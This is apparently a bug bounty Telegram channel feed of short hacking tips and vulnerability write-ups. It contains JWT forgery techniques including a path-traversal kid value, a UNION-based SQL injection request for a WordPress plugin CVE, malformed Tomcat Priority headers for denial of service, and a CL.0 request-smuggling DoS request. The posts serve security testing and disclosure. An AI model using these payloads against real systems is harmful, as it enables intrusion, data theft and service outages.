When testing API endpoints, try removing parts of the URL to check for unexpected data exposure.
Example: /api/endpoint/{id} β‘οΈ /api/endpoint/
Sometimes the parent endpoint spills ALL the data!
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Example: /api/endpoint/{id} β‘οΈ /api/endpoint/
Sometimes the parent endpoint spills ALL the data!
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π6
πBugπ:Debug mode leak Phpmyadmin USER NAME AND PASSWORDπ₯
TipπββοΈ: try check every Dir. to check if the Debug mode is on.
πJoin my Telegram Channel for more tips and to stay updatedπ t.me/kassems94
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TipπββοΈ: try check every Dir. to check if the Debug mode is on.
πJoin my Telegram Channel for more tips and to stay updatedπ t.me/kassems94
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π₯7π€ͺ2π1π1πΎ1π¨1
π₯ Bug Bounty Tip: Exposing Weak JWT Implementations π₯
A flawed JWT can open the door to account takeovers, privilege escalation, and critical security risks! Letβs break down how to spot these vulnerabilities.
π Vulnerabilities to Test:
πΉ None Algorithm Bypass: Change the JWT header to "alg": "none" and remove the signature. If itβs still accepted β jackpot! π
πΉ Brute-Force Weak Secrets: Crack weak signing keys with tools like jwtcracker, hashcat, or John the Ripper. A short or common key? Youβre in.
πΉ Kid Parameter Injection: Tamper with the kid (Key ID) parameter β use path traversal (../../etc/passwd), local file inclusion, or even command injection.
πΉ JWK Manipulation: Host a rogue JSON Web Key and try to convince the server to trust your malicious key.
πΉ Algorithm Confusion Attack: Test if the server accepts HS256 signatures on tokens meant for RS256. This often leads to key substitution vulnerabilities.
πΉ Expired Token Acceptance: Check if the server still accepts tokens long after theyβve expired β a serious session management flaw.
πΉ Token Forgery: Remove or alter the signature β if the server still trusts the token, youβve found a critical P1! π
π― Pro Tip: Always test JWTs on both the client and server side β sometimes, the weakest links hide in unexpected places.
πJoin my Telegram Channel for more tips and to stay updatedπ t.me/kassems94
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A flawed JWT can open the door to account takeovers, privilege escalation, and critical security risks! Letβs break down how to spot these vulnerabilities.
π Vulnerabilities to Test:
πΉ None Algorithm Bypass: Change the JWT header to "alg": "none" and remove the signature. If itβs still accepted β jackpot! π
πΉ Brute-Force Weak Secrets: Crack weak signing keys with tools like jwtcracker, hashcat, or John the Ripper. A short or common key? Youβre in.
πΉ Kid Parameter Injection: Tamper with the kid (Key ID) parameter β use path traversal (../../etc/passwd), local file inclusion, or even command injection.
πΉ JWK Manipulation: Host a rogue JSON Web Key and try to convince the server to trust your malicious key.
πΉ Algorithm Confusion Attack: Test if the server accepts HS256 signatures on tokens meant for RS256. This often leads to key substitution vulnerabilities.
πΉ Expired Token Acceptance: Check if the server still accepts tokens long after theyβve expired β a serious session management flaw.
πΉ Token Forgery: Remove or alter the signature β if the server still trusts the token, youβve found a critical P1! π
π― Pro Tip: Always test JWTs on both the client and server side β sometimes, the weakest links hide in unexpected places.
πJoin my Telegram Channel for more tips and to stay updatedπ t.me/kassems94
#bugbountytips
#bugbounty
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Bug-bounty-tipsππ°
Sharing tips and Tools for bugbounty
For anyone who doesn't know me, please visit my X page @kassem_s94
Ranked #30 Globally in Web-App Assets Bug Bounty on HackerOne in 2024.
My Toolkit:
secret hunter
xoxo xss
dep_hunter
poisoner PRO
ssrf tool
aurora
For anyone who doesn't know me, please visit my X page @kassem_s94
Ranked #30 Globally in Web-App Assets Bug Bounty on HackerOne in 2024.
My Toolkit:
secret hunter
xoxo xss
dep_hunter
poisoner PRO
ssrf tool
aurora
π₯5π3
Are you interested in learning about cybersecurity news? And you want me to publish it?
Anonymous Poll
56%
yes
6%
no
6%
yes news only
21%
yes for new tools
23%
news and tools
35%
only real cases tips
πBugπ: claim "admin" username lead to access admin accountπ₯
TipπββοΈ: Try register "admin" username to access admin account
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
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TipπββοΈ: Try register "admin" username to access admin account
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
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π₯9π2π1
Bugπ:An unauthenticated API endpoint exposes sensitive users data using email address
TipπββοΈ:check .js file to find some urls for related services
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
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TipπββοΈ:check .js file to find some urls for related services
πJoin my Telegram channel for more tipsπ t.me/kassems94
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π6π1
β οΈWebSocket PII Exposureβ οΈ
WebSockets can expose Personally Identifiable Information if not handled securely.
TipπββοΈ: Always check the WS responses for PII
πJoin my Telegram channel for more tipsπ t.me/kassems94
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WebSockets can expose Personally Identifiable Information if not handled securely.
TipπββοΈ: Always check the WS responses for PII
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
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π€8π2
I was awarded a $1,000 bounty on @Hacker0x01 πͺ
TipπββοΈ: Check for all smuggling types during your Tests.
πJoin my Telegram channel for more tipsπ t.me/kassems94
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TipπββοΈ: Check for all smuggling types during your Tests.
πJoin my Telegram channel for more tipsπ t.me/kassems94
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π8π€·1
Bugπ: POST REQUEST SQLI with full data dump
TipπββοΈ: test for sqli on all authenticated POST requests parameters
πJoin my Telegram channel for more tipsπ t.me/kassems94
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#bugbounty
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TipπββοΈ: test for sqli on all authenticated POST requests parameters
πJoin my Telegram channel for more tipsπ t.me/kassems94
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π₯8π€·ββ2π1
Bugπ: PII LEAK
TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
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TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
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π15β€2π2π₯1
Bug-bounty-tipsππ°
Bugπ: PII LEAK TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94 #bugbountytips #bugbounty #hacking #hackers #TogetherWeHitHarder
When access the same endpoint on the UI version i cant see any data , but using burp repeater I was able to access these informations, also this endpoint found at the source of the pageπ¨
π12π4β‘3
Bugπ: PII LEAK on Unprotected Endpoint.
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
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TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
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β€8
π₯π₯Againπ₯π₯
Bugπ: PII LEAK on Unprotected Endpoint.[3K records]
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
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Bugπ: PII LEAK on Unprotected Endpoint.[3K records]
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
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β€11π1
Bugπ: IDOR lead to leak agent data and messages.
TipπββοΈ: FUZZ 1st and second and 3rd /dir.
πJoin my Telegram channel for more tipsπ t.me/kassems94
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TipπββοΈ: FUZZ 1st and second and 3rd /dir.
πJoin my Telegram channel for more tipsπ t.me/kassems94
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π₯11π2π2β€1
CVE-2021-24456 is a vulnerability in the WordPress plugin Quiz And Survey Master (QSM) versions prior to 7.0.1, which allowed unauthenticated users to perform SQL Injection via the question_id parameter in a request to the qsm_get_questions AJAX action.
Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:
---
PoC: Unauthenticated SQL Injection
Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456
HTTP Request PoC
POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
Explanation:
The plugin registered an AJAX action qsm_get_questions accessible without authentication.
The question_id parameter is vulnerable to SQL injection.
The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).
---
References:
Patchstack Advisory
NVD - CVE-2021-24456
WPScan Advisory
---
Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:
---
PoC: Unauthenticated SQL Injection
Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456
HTTP Request PoC
POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
Explanation:
The plugin registered an AJAX action qsm_get_questions accessible without authentication.
The question_id parameter is vulnerable to SQL injection.
The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).
---
References:
Patchstack Advisory
NVD - CVE-2021-24456
WPScan Advisory
---
π₯15π5β€4π3π1
Happy to join the 10K Reputation Points Club @Hacker0x01 πͺ
π
I thank this great platform for the wonderful opportunities it offers usπ₯π«‘
πJoin my Telegram channel for BB tipsπ t.me/kassems94
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I thank this great platform for the wonderful opportunities it offers usπ₯π«‘
πJoin my Telegram channel for BB tipsπ t.me/kassems94
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β€8π4π3β‘2
[CVE-2025-31650] Apache Tomcat DoS via Malformed HTTP Priority Headers
A critical vulnerability in Apache Tomcat allows remote attackers to crash servers by sending malformed HTTP Priority headers, leading to memory leaks and denial of service (DoS).
Affected Versions:
Tomcat 9.0.76 β 9.0.102
Tomcat 10.1.10 β 10.1.39
Tomcat 11.0.0-M2 β 11.0.5
Fixed in:
Tomcat 9.0.104
Tomcat 10.1.40
Tomcat 11.0.6
Whatβs the issue?
Tomcat fails to fully clean up malformed HTTP requests containing invalid Priority headers (RFC 9218), eventually triggering OutOfMemoryException.
Examples of malicious headers:
Priority: u=-1
Priority: u=abc
Priority: u=8
Priority:
Priority: i=maybe
Priority: u=3, i=1
Priority: foo=bar
Impact:
No authentication needed β attackers can exhaust server memory remotely.
Mitigation:
Update to the latest version of Tomcat.
Use a reverse proxy to strip malformed Priority headers.
Set up rate limiting and monitor memory usage.
Details:
CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-31650
RFC 9218: https://www.rfc-editor.org/rfc/rfc9218.html
Apache Advisory: https://lists.apache.org/thread/j6zzk0y3yym9pzfzkq5vcyxzz0yzh826
Stay safe, patch early!
---
A critical vulnerability in Apache Tomcat allows remote attackers to crash servers by sending malformed HTTP Priority headers, leading to memory leaks and denial of service (DoS).
Affected Versions:
Tomcat 9.0.76 β 9.0.102
Tomcat 10.1.10 β 10.1.39
Tomcat 11.0.0-M2 β 11.0.5
Fixed in:
Tomcat 9.0.104
Tomcat 10.1.40
Tomcat 11.0.6
Whatβs the issue?
Tomcat fails to fully clean up malformed HTTP requests containing invalid Priority headers (RFC 9218), eventually triggering OutOfMemoryException.
Examples of malicious headers:
Priority: u=-1
Priority: u=abc
Priority: u=8
Priority:
Priority: i=maybe
Priority: u=3, i=1
Priority: foo=bar
Impact:
No authentication needed β attackers can exhaust server memory remotely.
Mitigation:
Update to the latest version of Tomcat.
Use a reverse proxy to strip malformed Priority headers.
Set up rate limiting and monitor memory usage.
Details:
CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-31650
RFC 9218: https://www.rfc-editor.org/rfc/rfc9218.html
Apache Advisory: https://lists.apache.org/thread/j6zzk0y3yym9pzfzkq5vcyxzz0yzh826
Stay safe, patch early!
---
www.rfc-editor.org
RFC 9218: Extensible Prioritization Scheme for HTTP
This document describes a scheme that allows an HTTP client to communicate its
preferences for how the upstream server prioritizes responses to its requests,
and also allows a server to hint to a downstream intermediary how its responses
should be prioritizedβ¦
preferences for how the upstream server prioritizes responses to its requests,
and also allows a server to hint to a downstream intermediary how its responses
should be prioritizedβ¦
π9β€5
CL.0 HTTP Smuggling β Limited DoS
1. What happens?
CL.0 smuggling exploits a mismatch where the frontβend honors Content-Length: 0 but the backβend still reads any extra bytes sent afterward .
2. Exploit (PoC)
POST /upload HTTP/1.1
Host: target.com
Content-Length: 0
[100 KB of βAβ padding here]
GET /healthcheck HTTP/1.1
Host: target.com
The frontβend closes the request immediately, while the backβend queues the 100 KB payload then hangs on the pipelined GET, consuming a worker slot .
3. Impact: Limited DoS
Each smuggled payload ties up a backend thread or connection. Repeating this depletes available workers, degrading service availability .
4. Detection
Enable verbose reverseβproxy logging to spot requests with Content-Length: 0 carrying unexpected payloads .
Monitor backend queue lengths for unusual stalls after zeroβlength frames .
1. What happens?
CL.0 smuggling exploits a mismatch where the frontβend honors Content-Length: 0 but the backβend still reads any extra bytes sent afterward .
2. Exploit (PoC)
POST /upload HTTP/1.1
Host: target.com
Content-Length: 0
[100 KB of βAβ padding here]
GET /healthcheck HTTP/1.1
Host: target.com
The frontβend closes the request immediately, while the backβend queues the 100 KB payload then hangs on the pipelined GET, consuming a worker slot .
3. Impact: Limited DoS
Each smuggled payload ties up a backend thread or connection. Repeating this depletes available workers, degrading service availability .
4. Detection
Enable verbose reverseβproxy logging to spot requests with Content-Length: 0 carrying unexpected payloads .
Monitor backend queue lengths for unusual stalls after zeroβlength frames .
π13β€9